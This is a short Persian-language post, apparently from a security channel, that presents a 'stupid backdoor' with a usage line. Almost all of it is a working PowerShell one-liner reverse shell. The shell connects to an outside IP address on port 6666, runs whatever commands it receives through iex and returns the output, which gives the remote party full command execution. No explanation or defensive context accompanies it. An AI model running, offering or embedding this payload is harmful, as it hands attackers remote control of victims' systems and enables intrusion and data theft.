بکدور احمقانه!
استفاده:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('106.12.252.10',6666);$stream = $client.GetStream();[byte[]]$bytes = 0.. 65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding) .GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
#powershell
@PfkSecurity